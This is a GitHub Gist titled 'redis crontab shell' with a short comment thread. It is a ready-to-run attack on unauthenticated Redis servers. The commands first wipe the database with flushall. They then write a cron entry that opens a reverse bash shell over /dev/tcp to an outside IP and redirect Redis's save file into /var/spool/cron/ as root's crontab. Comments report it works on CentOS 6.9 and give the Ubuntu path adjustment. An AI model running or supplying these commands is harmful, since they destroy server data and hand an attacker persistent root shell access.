Last active
December 15, 2024 20:08
-
-
Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
redis crontab shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
redis-cli flushall | |
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1 | |
redis-cli config set dir /var/spool/cron/ | |
redis-cli config set dbfilename root | |
redis-cli save | |
from https://phpinfo.me/2016/07/07/1275.html |
not working for ubuntu16.04 works well on centos 6.9
for Ubuntu the config directory is /var/spool/cron/crontabs
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
not working for ubuntu16.04
works well on centos 6.9